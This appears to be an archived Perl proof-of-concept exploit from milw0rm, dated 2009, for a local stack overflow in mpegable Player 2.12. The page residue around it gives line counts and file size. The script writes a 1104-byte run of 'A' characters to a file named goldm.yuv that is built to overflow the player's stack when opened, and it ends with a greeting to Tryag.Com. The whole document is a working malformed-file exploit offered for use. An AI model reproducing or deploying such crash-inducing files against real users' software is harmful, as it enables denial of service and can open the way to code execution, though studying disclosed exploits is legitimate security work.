12 lines
No EOL
428 B
Perl
Executable file
12 lines
No EOL
428 B
Perl
Executable file
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ### ###
|
|
# # mpegable Player 2.12 (YUV File) Local Stack Overflow POC # #
|
|
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### # ##
|
|
my $chars= "A" x 1104;
|
|
my $file="goldm.yuv";
|
|
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
|
|
print $FILE $chars;
|
|
close($FILE);
|
|
print "$file has been created \n";
|
|
print "Thanx Tryag.Com";
|
|
|
|
# milw0rm.com [2009-04-29] |